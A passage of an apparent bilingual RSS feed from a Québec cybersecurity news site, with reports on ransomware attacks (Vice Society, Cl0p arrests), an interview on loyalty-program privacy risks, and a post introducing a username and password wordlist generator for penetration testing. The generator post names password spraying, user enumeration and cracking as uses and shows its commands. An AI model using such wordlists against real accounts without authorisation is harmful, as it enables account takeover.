<p>Les malfrats ont publié une liste d’appareils appartenant à la compagnie ainsi qu’une liste de mots de passe chiffrés. Il s’agit du chiffrement standard utilisé par le système d’exploitation Windows. Selon notre analyse, certains de ceux-ci étaient assez faciles à déchiffrer. Pour l’instant, aucune donnée personnelle n’a été diffusée sur le site Web du groupe de rançonneurs.</p>

<p>Une fois qu’ils ont accès à un réseau, ces groupes déploient habituellement un rançongiciel. Il s’agit d’un programme qui chiffre les données et les rend inutilisables. Il faut disposer d’une clé pour les récupérer. Afin d’augmenter la pression sur leurs victimes, ils menacent habituellement de diffuser publiquement les informations qu’ils ont volées.</p>

<p>Lareau est présent dans 8 succursales au Québec et compte une équipe de plus de 180 professionnels. Selon son site Web, l’entreprise Lareau offre une protection contre les cyber-risques.</p>

<p>Cibler une compagnie offrant ce type de couverture est « la recette parfaite » selon Steve Waterhouse, ancien officier de cyberdéfense dans les Forces armées canadiennes. Selon l’expert en sécurité, cette attaque a le potentiel d’aider les pirates à cibler leurs prochaines victimes. Cela permet de moduler leurs demandes de rançon en fonction de la capacité de payer de celles-ci. « C’est brillant. Cela leur permet de faire des affaires en or », ajoute-t-il.</p>

<p>La compagnie Lareau n’a pas répondu à nos demandes d’information. Pour M. Waterhouse, les entreprises sont très réticentes à parler de ces incidents, car ils craignent pour leur réputation. « La gestion de la sécurité par l’obscurité ne devrait plus avoir sa place » se désole-t-il.</p>

<p>Crédit photo: <a href="https://www.flickr.com/photos/bg_dn/">begemot_dn</a> - <a href="https://creativecommons.org/licenses/by-nc/2.0/">licence CC BY-NC</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Cyberattack against Groupe Filgo-Sonic</title>
      <link>https://media.hackfest.ca/en/blog/filgo-sonic-cyberattack</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/filgo-sonic-cyberattack</guid>
      <pubDate>Mon, 12 Jul 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Ransomware</category>
      <category>Vice Society</category>
      <category>energy</category>
      <description>A new ransomware group has targeted petroleum products distributor Filgo-Sonic. The company shut down some of its IT systems, but deliveries to customers continued.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/Vice_filgo.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/Vice_filgo.webp" alt="filgo" /></p>

<p>A ransomware group has targeted petroleum products distributor Filgo-Sonic. The company shut down some of its IT systems, but deliveries to customers continued.</p>

<p>Ms. Véronique Simard, a spokesperson for the organization, replied that the company “confirms that in recent weeks it experienced a shutdown of its IT systems that affected certain operations. While the Group works to restore normal operations, customer service continues without interruption.”</p>

<p>The company did not give details on which services were affected, but specified that “these are mainly central services such as billing.” Shutting down these systems “was necessary as a protective and remediation measure following a cyberattack carried out by an attacker outside the organization,” Ms. Simard explained. With the investigation still ongoing, the company cannot provide further details, but says the systems are being restored.</p>

<p>The criminals published documents they claim to have stolen from the company. These documents are dated June 3 and June 27. The spokesperson says the company “is aware that the attackers published files. Our IT team and our cybersecurity experts retrieved these files and analyzed them.” They are currently in the process of notifying the people affected by this security incident.</p>

<p>Groupe Filgo-Sonic is a Québec company headquartered in Sainte-Marie, in the Beauce region. It owns the Miraco and Sonic gas station banners. According to its website, the Group is “present in Québec’s main regions.” It operates in the distribution of petroleum products to residential and commercial customers, maintains a network of gas stations and convenience stores, and distributes Shell Lubricants.</p>

<p>“Vice Society,” the group that claimed this attack, appeared on the ransomware scene in June 2021. Despite being new, it was one of the most active groups in June. This criminal group announced about ten security breaches during its first month of operation. Schools and hospitals are among the organizations listed on its site.</p>

<p>The software used to encrypt the files is reportedly a variant of the “HelloKitty” ransomware, <a href="https://twitter.com/demonslay335/status/1403109032014061568">according to Michael Gillespie</a>, a researcher specializing in malware. The “HelloKitty” group recently made headlines because <a href="https://blog.emsisoft.com/en/37783/hellokitty-ransomware-group-likely-responsible-for-cd-projekt-attack-heres-why/">it had been blamed</a> for the attack against video game company “CD Projekt,” creator of the title “Cyberpunk 2077.”</p>
]]></content:encoded>
    </item>
    <item>
      <title>Attaque informatique contre le Groupe Filgo-Sonic</title>
      <link>https://media.hackfest.ca/blog/breche-filgo-sonic</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/breche-filgo-sonic</guid>
      <pubDate>Mon, 12 Jul 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Rançongiciels</category>
      <category>Vice Society</category>
      <category>énergie</category>
      <description>Un nouveau groupe de rançongiciel s’en est pris à l’entreprise de distribution de produits pétroliers Filgo-Sonic. L’entreprise a fermé certains systèmes informatiques, mais la livraison aux clients a été maintenue.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/Vice_filgo.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/Vice_filgo.webp" alt="filgo" /></p>

<p>Un groupe de rançongiciel s’en est pris à l’entreprise de distribution de produits pétroliers Filgo-Sonic. L’entreprise a fermé certains systèmes informatiques, mais la livraison aux clients a été maintenue.</p>

<p>Mme Véronique Simard, porte-parole de l’organisation, a répondu que l’entreprise « confirme avoir vécu dans les dernières semaines un arrêt de ses systèmes informatiques qui a eu un impact sur certaines opérations. Pendant que le Groupe travaille à la reprise des opérations normales, le service aux clients se poursuit sans interruption. »</p>

<p>L’entreprise n’a pas donné de détails sur les services affectés, mais précise qu’il « s’agit surtout de services centraux comme la facturation ». L’arrêt de ces systèmes « a été rendu nécessaire comme mesure de protection et de remédiation à une cyberattaque perpétrée par un attaquant externe à l’organisation » explique Mme Simard. L’enquête étant toujours en cours, l’entreprise ne peut donner plus de précisions, mais assure que les systèmes sont en cours de rétablissement.</p>

<p>Les malfaiteurs ont publié des documents qu’ils revendiquent avoir volés à la compagnie. Ces documents sont datés du 3 et du 27 juin. La porte-parole dit « être au courant que les attaquants ont procédé à une publication de fichiers. Notre équipe TI ainsi que nos experts en cybersécurité ont récupéré ces fichiers et procédé à leur analyse. » Ils sont actuellement en processus de notification des personnes touchées par cet incident de sécurité.</p>

<p>Le Groupe Filgo-Sonic est une entreprise québécoise dont le siège social se trouve à Sainte-Marie, en Beauce. Il possède les bannières d’essence Miraco et Sonic. Selon son site web, le Groupe est « présent dans les principales régions du Québec ». Il œuvre dans les secteurs de la distribution de produits pétroliers à une clientèle résidentielle et commerciale, il maintient un réseau de station-service et de dépanneurs ainsi que la distribution des Lubrifiants Shell.</p>

<p>« Vice Society », le groupe qui a revendiqué cette attaque est apparu sur la scène des rançongiciels en juin 2021. Malgré le fait qu’il soit nouveau, il a été l’un des groupes les plus actifs au mois de juin. Ce groupe de malfaiteurs a annoncé une dizaine de brèches de sécurité lors de son premier mois d’opération. On compte des écoles et des hôpitaux parmi les organisations affichées sur son site.</p>

<p>Le logiciel servant à chiffrer les fichiers serait une variante du rançongiciel « HelloKitty » <a href="https://twitter.com/demonslay335/status/1403109032014061568">selon Michael Gillespie</a>, un chercheur spécialisé en maliciel. Le groupe « HelloKitty » a fait les manchettes récemment, car <a href="https://blog.emsisoft.com/en/37783/hellokitty-ransomware-group-likely-responsible-for-cd-projekt-attack-heres-why/">on lui avait attribué</a> l’attaque contre la compagnie de jeux « CD Projekt », créateur du titre « Cyberpunk 2077 ».</p>
]]></content:encoded>
    </item>
    <item>
      <title>Arrest of individuals linked to the Cl0p group</title>
      <link>https://media.hackfest.ca/en/blog/clop-group-arrests</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/clop-group-arrests</guid>
      <pubDate>Wed, 16 Jun 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Ransomware</category>
      <category>Cl0p</category>
      <category>arrests</category>
      <category>Interpol</category>
      <description>This morning, Ukrainian police arrested six individuals linked to the Cl0p ransomware group. Authorities announced that they carried out 21 searches of homes and cars belonging to the suspects in the Kyiv region. Computer equipment, cars and nearly 5 million hryvnias (about CA$225,000) were seized.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/arrestationClop.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/arrestationClop.webp" alt="arrest" /></p>

<p>This morning, Ukrainian police arrested six individuals linked to the Cl0p ransomware group. Ukrainian authorities issued <a href="https://cyberpolice.gov.ua/news/kiberpolicziya-vykryla-xakerske-ugrupovannya-u-rozpovsyudzhenni-virusu-shyfruvalnyka-ta-nanesenni-inozemnym-kompaniyam-piv-milyarda-dolariv-zbytkiv-2402/">a press release</a> on Wednesday, June 16, to announce the operation. It was coordinated by Interpol and conducted in collaboration with officers from the United States and South Korea.</p>

<p>Authorities announced that they carried out 21 searches of homes and cars belonging to the suspects in the Kyiv region. Computer equipment, cars and nearly 5 million hryvnias (about CA$225,000) were seized.</p>

<p>At this time, we do not know whether these are key members of the Cl0p group or affiliates. Organizations like Cl0p, which offer ransomware as a service, recruit affiliates. It is these affiliates who infiltrate vulnerable computer networks and deploy the malware provided by the group.</p>

<p>Groups like Cl0p provide the software used to encrypt the victim’s data, the website used to publish stolen documents and a platform to negotiate the ransom. Profits are then shared between the affiliates and the service provider.</p>

<p>This morning, the group’s leak site, hosted on the Tor network, was still accessible.</p>

<p>The Cl0p group was behind the recent attacks against Bombardier, as well as <a href="https://media.hackfest.ca/en/blog/Durham-breach-EN">against the Regional Municipality of Durham</a> in Ontario and <a href="https://media.hackfest.ca/en/blog/boutin-transport-cyberattack">the Boutin transport company</a> here in Québec. It is too early to know whether the people arrested today are responsible for these attacks, or whether they belong to another group of affiliates.</p>

<p><em>This article was corrected on 18/06 to fix the amount seized in Canadian dollars.</em></p>

]]></content:encoded>
    </item>
    <item>
      <title>Arrestation d&apos;individus liés au groupe Cl0p</title>
      <link>https://media.hackfest.ca/blog/arrestations-groupe-clop</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/arrestations-groupe-clop</guid>
      <pubDate>Wed, 16 Jun 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Rançongiciels</category>
      <category>Cl0p</category>
      <category>arrestations</category>
      <category>Interpol</category>
      <description>Ce matin, la police ukrainienne a procédé à l’arrestation de six individus liés au groupe de rançongiciel Cl0p. Les autorités ont annoncé avoir effectué 21 perquisitions, dans des résidences et des voitures appartenant aux suspects, dans la région de Kiev. De l’équipement informatique, des voitures et près de 5 millions d’hryvnias (environ 225 000 $ CA) ont été saisis.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/arrestationClop.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/arrestationClop.webp" alt="arrestation" /></p>

<p>Ce matin, la police ukrainienne a procédé à l’arrestation de six individus liés au groupe de rançongiciel Cl0p. Les autorités ukrainiennes ont diffusé <a href="https://cyberpolice.gov.ua/news/kiberpolicziya-vykryla-xakerske-ugrupovannya-u-rozpovsyudzhenni-virusu-shyfruvalnyka-ta-nanesenni-inozemnym-kompaniyam-piv-milyarda-dolariv-zbytkiv-2402/">un communiqué</a> ce mercredi 16 juin pour annoncer l’opération. Celle-ci a été coordonnée par Interpol et menée en collaboration avec des agents provenant des États-Unis et de la Corée du Sud.</p>

<p>Les autorités ont annoncé avoir effectué 21 perquisitions, dans des résidences et des voitures appartenant aux suspects, dans la région de Kiev. De l’équipement informatique, des voitures et près de 5 millions d’hryvnias (environ 225 000 $ CA) ont été saisis.</p>

<p>À l’heure actuelle, nous ne savons pas s’il s’agit de membre clé du groupe Cl0p ou d’affiliés. Rappelons que les organisations comme Cl0p, qui offrent un service de rançongiciel, recrutent des affiliés. Ce sont ces derniers qui infiltrent les réseaux informatiques vulnérables et déploient le logiciel malveillant fourni par le groupe.</p>

<p>Les groupes comme Cl0p offrent le logiciel qui permet de chiffrer les données de la victime, le site web servant à publier les documents volés et une plateforme pour négocier la rançon. Les profits sont ensuite partagés entre les affiliés et le fournisseur de service.</p>

<p>Ce matin, le site de diffusion de matériel volé du groupe, hébergé sur le réseau Tor, était toujours accessible.</p>

<p>Rappelons que le groupe Cl0p était celui derrière les récentes attaques contre Bombardier, ainsi que <a href="https://media.hackfest.ca/blog/Durham-breach">contre la Municipalité Régionale de Durham</a> en Ontario et <a href="https://media.hackfest.ca/blog/Groupe-Boutin-Cyberattaque">la compagnie de transport Boutin</a> ici au Québec. Il est trop tôt pour savoir si les personnes arrêtées aujourd’hui sont responsables de ces attaques, ou s’il s’agit d’un autre groupe d’affiliés.</p>

<p><em>Cet article a été corrigé le 18/06 pour rectifier le montant saisi en dollars CA.</em></p>

]]></content:encoded>
    </item>
    <item>
      <title>Loyalty programs: rewards... and risks</title>
      <link>https://media.hackfest.ca/en/blog/loyalty-programs-risks</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/loyalty-programs-risks</guid>
      <pubDate>Mon, 14 Jun 2021 15:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Leaks &amp; privacy</category>
      <category>privacy</category>
      <category>ESET</category>
      <category>interview</category>
      <description>A column on the cost of loyalty programs drew a reaction from members of the Hackfest community. In this interview with Alexis Dorais-Joncas, head of the R&amp;amp;D centre at ESET Montréal, we discuss some of the potential risks of these programs.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/fidelisation.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/fidelisation.webp" alt="loyalty programs" /></p>

<p>The trivialization of risks <a href="https://www.lapresse.ca/affaires/chroniques/2021-05-30/combien-vous-coutent-les-programmes-de-fidelisation.php">in a column</a> on the cost of loyalty programs published in La Presse drew a reaction from members of the cybersecurity community. “I thought it was a really great article, until I got to that section,” Alexis Dorais-Joncas, head of the R &amp; D centre at ESET Montréal, said in an interview. “I learned a lot,” he adds. However, he finds it unfortunate that the opportunity wasn’t taken to remind consumers that if “you agree to hand over your personal data, do it knowingly.”</p>

<p>For this head of a team of cybersecurity researchers, it is wrong to say the risk is the same because this data is already held by another entity, such as the bank. “The risks add up,” he explains. “The more parties that hold our personal data, the greater the chances that one of them will suffer a leak.”</p>

<h3 id="its-not-just-data-thats-at-risk">It’s not just data that’s at risk</h3>

<p>Since these programs offer rewards, Mr. Dorais-Joncas adds that the theft of accounts does not only result in lost data, but can involve a monetary loss. The loss associated with the theft of one account may seem minimal for a user, but if a fraudster gets hold of a large number of them, it adds up to much larger sums.</p>

<p>The third impact he noted comes from the fact that some loyalty programs are tied to a payment method. Mr. Dorais-Joncas in fact investigated a fraud case involving McDonald’s mobile app in 2019. <a href="https://mobilesyrup.com/2019/04/23/mcdonalds-mobile-app-defrauded-2000-dollars/">A journalist reported being defrauded of $2,000</a> when someone took over his loyalty account. According to the cybersecurity specialist, “security was completely deficient. [ … ] You could test thousands of username and password combinations in a few minutes.” Moreover, once a valid account was stolen, the app had no anti-fraud measures, and several transactions had been recorded at the same time in several places across the province without this being flagged.</p>

<h3 id="to-sign-up-or-not">To sign up or not?</h3>

<p>For Alexis Dorais-Joncas, you have to ask yourself whether you get a real benefit from the program. He suggests asking yourself, “Am I willing to hand over my personal data to this company in exchange for what it offers me?”
Second, he suggests reading the terms of use and privacy policies. He admits this is not always easy, because these policies are not easy to understand, but “they say a lot about how our data will be used.”</p>

<p>Ideally, we should minimize the scope and number of programs we join. It is therefore better to sign up only for programs that genuinely interest us.</p>

<p>Once you decide to join a loyalty program, he suggests never reusing passwords. “We tend to think we don’t need as much security as for our bank account,” but once you get into the habit of using a password manager, “it’s no harder to create a good, unique password for all your accounts.”</p>

<p>Loyalty programs offer benefits, but they are not without risk. It is therefore important that the decision to hand over your personal data not be taken lightly.</p>

<p>Bill 64 is meant to regulate the collection, protection and use of this personal data. Its adoption has been delayed by the government’s recent announcement that it is suspending its study of the bill.</p>

<p>photo credit: <a href="https://www.flickr.com/photos/fourbrickstall/">Four Bricks Tall</a> - <a href="https://creativecommons.org/licenses/by-nc-nd/2.0/">CC BY-NC-ND license</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Programmes de fidélisation: des cadeaux... et des risques</title>
      <link>https://media.hackfest.ca/blog/risques-programmes-fidelisation</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/risques-programmes-fidelisation</guid>
      <pubDate>Mon, 14 Jun 2021 15:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Fuites &amp; vie privée</category>
      <category>vie privée</category>
      <category>ESET</category>
      <category>entrevue</category>
      <description>Une chronique sur le coût des programmes de fidélisation a fait réagir des membres de la communauté du Hackfest. Dans cette entrevue avec Alexis Dorais-Joncas, directeur du centre de R&amp;amp;D chez ESET Montréal, nous abordons certains risques potentiels de ces programmes.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/fidelisation.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/fidelisation.webp" alt="ventilation" /></p>

<p>La banalisation des risques <a href="https://www.lapresse.ca/affaires/chroniques/2021-05-30/combien-vous-coutent-les-programmes-de-fidelisation.php">dans une chronique</a> sur le coût des programmes de fidélisation publiée dans La Presse a fait réagir des membres de la communauté de cybersécurité. « J’ai trouvé que c’était un super bon article, jusqu’à ce que j’arrive à cette section-là », affirme en entrevue Alexis Dorais-Joncas, directeur du centre de R &amp; D de ESET Montréal. « J’ai appris plein de choses », ajoute-t-il. Par contre, il trouve dommage qu’on n’ait pas profité de cette occasion pour rappeler aux consommateurs que si « vous acceptez de confier vos données personnelles, faites-le en toute connaissance de cause ».</p>

<p>Pour ce responsable d’une équipe de chercheurs en cybersécurité, il est faux de dire que le risque est le même parce que ces données sont déjà détenues par une autre entité, comme la banque. « Les risques s’additionnent », explique-t-il, « plus nos données personnelles sont possédées par un grand nombre de partis, plus les chances sont grandes que l’une d’entre elles soit l’objet d’une fuite ».</p>

<h3 id="il-ny-a-pas-que-les-données-qui-sont-à-risque">Il n’y a pas que les données qui sont à risque</h3>

<p>Comme ces programmes offrent des récompenses, M. Dorais-Joncas ajoute que le vol de ceux-ci n’a pas seulement un impact sur la perte de données, mais peut impliquer une perte monétaire. La perte associée avec le vol d’un compte peut sembler minime pour un utilisateur, mais si un fraudeur met la main sur un grand nombre de ceux-ci, cela représente des sommes beaucoup plus importantes.</p>

<p>Le troisième impact noté vient du fait que certains programmes de fidélisation sont associés avec un mode de paiement. M. Dorais-Joncas a d’ailleurs investigué un cas de fraude utilisant l’application mobile de McDonald en 2019. <a href="https://mobilesyrup.com/2019/04/23/mcdonalds-mobile-app-defrauded-2000-dollars/">Un journaliste avait rapporté avoir été fraudé de 2000 $</a> lorsque quelqu’un s’était approprié son compte de fidélisation. Selon le spécialiste en cybersécurité, « la sécurité était complètement déficiente. [ … ] On pouvait tester des milliers de combinaisons de nom d’utilisateur et mot de passe en quelques minutes. » De plus, une fois qu’un compte valide était volé, l’application n’avait aucune mesure antifraude et plusieurs transactions avaient été enregistrées au même moment à plusieurs endroits dans la province sans que cela soit rapporté.</p>

<h3 id="sabonner-oui-ou-non">S’abonner, oui ou non ?</h3>

<p>Pour Alexis Dorais-Joncas, il faut se demander si l’on retire un réel bénéfice du programme. Il suggère de se poser la question « est-ce que je suis prêt à confier mes données personnelles à cette entreprise en échange de ce qu’elle m’offre ? »
Deuxièment, il suggère de lire les politiques d’utilisation et de protection de la vie privée. Il admet que ce n’est pas toujours évident, car ces politiques ne sont pas faciles à comprendre, mais « cela en dit long sur l’utilisation qui va être faite de nos données ».</p>

<p>Idéalement, on devrait minimiser la portée et le nombre de programmes auxquels on adhère. Il est donc préférable de ne s’abonner qu’aux programmes qui nous intéressent réellement.</p>

<p>Une fois que l’on décide de s’inscrire à un programme de fidélisation, il suggère de ne jamais réutiliser de mot de passe. « On a tendance à croire que l’on n’a pas besoin d’autant de sécurité que pour notre compte de banque », mais une fois qu’on a pris l’habitude d’utiliser un gestionnaire de mot de passe, « ce n’est pas plus forçant de créer un bon mot de passe unique pour tous ses comptes. »</p>

<p>Les programmes de fidélité offrent des avantages, mais ils ne sont pas sans risque. Il est donc important que la décision de confier ses données personnelles ne soit pas prise à la légère.</p>

<p>Le projet de Loi 64 doit venir encadrer la collecte, la protection et l’utilisation de ces données personnelles. L’adoption de celui-ci a pris du retard avec l’annonce récente par le gouvernement de suspendre son étude.</p>

<p>crédit photo: <a href="https://www.flickr.com/photos/fourbrickstall/">Four Bricks Tall</a> - <a href="https://creativecommons.org/licenses/by-nc-nd/2.0/">licence CC BY-NC-ND</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Introducing a Project to Generate a List of Québec Usernames</title>
      <link>https://media.hackfest.ca/en/blog/quebec-usernames-list-project</link>
      <guid isPermaLink="true">https://media.hackfest.ca/en/blog/quebec-usernames-list-project</guid>
      <pubDate>Fri, 04 Jun 2021 10:00:00 +0000</pubDate>
      <dc:creator>redshell</dc:creator>
      <dc:language>en-CA</dc:language>
      <category>Tools &amp; projects</category>
      <category>wordlist</category>
      <category>usernames</category>
      <category>OSINT</category>
      <description>Over various penetration tests, I always found that there was no equivalent of a list of possible usernames in French. Following Hackfest’s latest blog post publishing a wordlist adapted to Québec, I decided to publish my own script that generates common usernames adapted to Québec.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/usernames.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/usernames.webp" alt="passwords" /></p>

<h2 id="what">What</h2>

<p>Over various penetration tests, I always found that there was no equivalent of a list of possible usernames in French. Following Hackfest’s latest <a href="https://media.hackfest.ca/en/blog/quebec-password-wordlist-project">blog post</a> publishing a wordlist adapted to Québec, I decided to publish my own script that generates common usernames adapted to Québec.</p>

<p>Also, many passwords are still based on first and last names (of children, parents, wives, etc.). These are generally French names that are not (or barely) part of standard wordlists. Using sites that publish information on the most popular names, such as <a href="https://prenomsquebec.ca">prenomsquebec.ca</a>, and a Wikipedia article, it is possible to create many combinations.</p>

<p>So I present the Github repository <a href="https://github.com/r3dshell/QC_Username_Generator"><strong>QC_Username_Generator</strong></a>.</p>

<h2 id="features">Features</h2>

<ul>
  <li>Generate popular usernames based on Québec names</li>
  <li>Adapt the name format depending on the test or application</li>
  <li>Optionally add a domain name in case the username requires an email address</li>
  <li>Generate commonly used passwords (combinations of names and years)</li>
</ul>

<p>This script generates several username variations based on the most popular last names (top 1000) and first names in Québec since 1980.</p>

<p>It can also add a variation with a domain name to generate potential email addresses (e.g. jeantremblay@example.com). The usernames can then easily be used for password spraying or simply for enumeration. In addition, it can generate passwords that include the name and the year (e.g. Tremblay2020!, jean2021, ..). Sorry if that’s your password!</p>

<p>They can then be used on their own for password cracking, in combination with other lists such as  <a href="https://github.com/w0lf-d3n/Quebec_Wordlist.">w0lfd3n</a>, or added to Hashcat rules.</p>

<h2 id="use-cases">Use cases</h2>

<ul>
  <li>For password spraying</li>
  <li>To perform user enumeration</li>
  <li>To generate a wordlist of possible passwords during password cracking</li>
</ul>

<h2 id="usage-examples">Usage examples</h2>

<ul>
  <li>The script is based on Python3 and requires no external modules.</li>
  <li>The name lists are stored in the <em>source</em> folder.</li>
</ul>

<p>The various possible arguments:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[-u] permet de générer une liste d'utilisateurs [-w] permet de générer une liste de mot de passe [-d] spécifie que vous voulez une liste contenant un domaine/courriel (ex: nomcomplet@domaine.com) [-o] pour spécifier le nom du fichier en sortie (exemple.txt), sinon ce sera affiché en STDOUT 
</code></pre></div></div>

<p>To generate a list containing email addresses to a text file:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 main.py -u -d -o fichier 
</code></pre></div></div>

<p>To generate a list of usernames to a text file:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 main.py -u -o fichier 
</code></pre></div></div>

<p>To generate a list of potential passwords to a text file:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 main.py -w -o fichier 
</code></pre></div></div>

<h2 id="final-word">Final word</h2>

<p>As always, we recommend using a password manager such as BitWarden or KeePassXC to generate complex passwords and store them securely.</p>

<p>You can contact me on the <a href="https://discord.hackfest.ca">Hackfest Discord</a>: @redshell</p>

<p>Photo credit: <a href="https://flickr.com/photos/christiaancolen/20971563620/">christiaancolen</a> - <a href="https://creativecommons.org/licenses/by/2.0/">CC BY license</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Présentation d&apos;un projet de génération de liste de nom d&apos;utilisateurs québécois</title>
      <link>https://media.hackfest.ca/blog/projet-usernames-quebecois</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/projet-usernames-quebecois</guid>
      <pubDate>Fri, 04 Jun 2021 10:00:00 +0000</pubDate>
      <dc:creator>redshell</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Outils &amp; projets</category>
      <category>wordlist</category>
      <category>noms d&apos;utilisateurs</category>
      <category>OSINT</category>
      <description>J’ai toujours trouvé lors de différents tests d’intrusions qu’il manquait l’équivalent d’une liste d’utilisateurs possibles en français. Suivant le dernier blog post du Hackfest publiant une wordlist adaptée au Québec, j’ai décidé de publier mon propre script qui permet de générer des noms d’utilisateurs communs adaptés pour le Québec.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/usernames.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/usernames.webp" alt="passwords" /></p>

<h2 id="quoi">Quoi</h2>

<p>J’ai toujours trouvé lors de différents tests d’intrusions qu’il manquait l’équivalent d’une liste d’utilisateurs possibles en français. Suivant le dernier <a href="https://media.hackfest.ca/blog/projet-wordlist-passwords-quebecois">blog post du Hackfest</a> publiant une wordlist adaptée au Québec, j’ai décidé de publier mon propre script qui permet de générer des noms d’utilisateurs communs adaptés pour le Québec.</p>

<p>Également, beaucoup de mots de passe sont encore basés sur les noms et prénoms (des enfants, parents, femme, etc). Ce sont généralement des noms français qui ne font pas (ou peu) partie des wordlists standards. En utilisant des sites qui publient l’information sur les noms les plus populaires tels que <a href="https://prenomsquebec.ca">prenomsquebec.ca</a> et un article Wikipedia, il est possible de créer plusieurs combinaisons.</p>

<p>Je présente donc le dépôt Github <a href="https://github.com/r3dshell/QC_Username_Generator"><strong>QC_Username_Generator</strong></a>.</p>

<h2 id="fonctions">Fonctions</h2>

<ul>
  <li>Générer des noms d’utilisateurs populaires, provenant de noms Québecois</li>
  <li>Pouvoir adapter le format des noms en fonction du test ou de l’application</li>
  <li>Avoir la possibilité d’ajouter un nom de domaine dans le cas ou le nom d’utilisateur nécessite un courriel</li>
  <li>Générer des mots de passe qui sont souvent utilisés (combinaisons de noms et années)</li>
</ul>

<p>Ce script permet de générer plusieurs variations de nom d’utilisateurs basé sur les noms de famille (top 1000) et les prénoms les plus populaires du Québec depuis 1980.</p>

<p>Il permet également d’ajouter une variation avec un nom de domaine pour générer des courriels potentiels (ex: jeantremblay@example.com). Les noms d’utilisateurs peuvent ensuite facilement être utilisés dans le cadre de pulvérisation de mot de passe ou d’énumération simplement. De plus, il est possible de générer des mots de passe qui incluent le nom et l’année (ex: Tremblay2020!, jean2021, ..). Désolé si c’est votre mot de passe!</p>

<p>Ils peuvent ensuite être utilisés à eux seuls pour du password cracking, en combinaison avec d’autres listes telles que  <a href="https://github.com/w0lf-d3n/Quebec_Wordlist.">w0lfd3n</a>, ou en ajout à des règles Hashcat.</p>

<h2 id="les-cas-dutilisations">Les cas d’utilisations</h2>

<ul>
  <li>Dans le cadre de pulvérisation de mot de passe</li>
  <li>Afin d’effectuer une énumération d’utilisateurs</li>
  <li>Pour générer une wordlist de mots de passe possibles lors de password cracking</li>
</ul>

<h2 id="exemples-dutilisation">Exemples d’utilisation</h2>

<ul>
  <li>Le script est basé sur Python3 et ne nécessite aucun module externe.</li>
  <li>Les listes de noms sont stockées dans le dossier <em>source</em>.</li>
</ul>

<p>Les différents arguments possibles:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[-u] permet de générer une liste d'utilisateurs [-w] permet de générer une liste de mot de passe [-d] spécifie que vous voulez une liste contenant un domaine/courriel (ex: nomcomplet@domaine.com) [-o] pour spécifier le nom du fichier en sortie (exemple.txt), sinon ce sera affiché en STDOUT 
</code></pre></div></div>

<p>Pour générer une liste contenant des courriels vers un fichier texte:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 main.py -u -d -o fichier 
</code></pre></div></div>

<p>Pour générer une liste d’utilisateurs vers un fichier texte:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 main.py -u -o fichier 
</code></pre></div></div>

<p>Pour générer une liste de mot de passe potentiel vers un fichier texte:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python3 main.py -w -o fichier 
</code></pre></div></div>

<h2 id="mot-de-la-fin">Mot de la fin</h2>

<p>Comme toujours, il est conseillé d’utiliser un gestionnaire de mots de passe tels que BitWarden ou KeePassXC afin de générer des mots de passe complexes et les stocker de façon sécuritaire.</p>

<p>Vous pouvez me contacter sur le <a href="https://discord.hackfest.ca">Discord du Hackfest</a>: @redshell</p>

<p>Crédit photo: <a href="https://flickr.com/photos/christiaancolen/20971563620/">christiaancolen</a> - <a href="https://creativecommons.org/licenses/by/2.0/">licence CC BY</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Introducing a Québec password wordlist project</title>
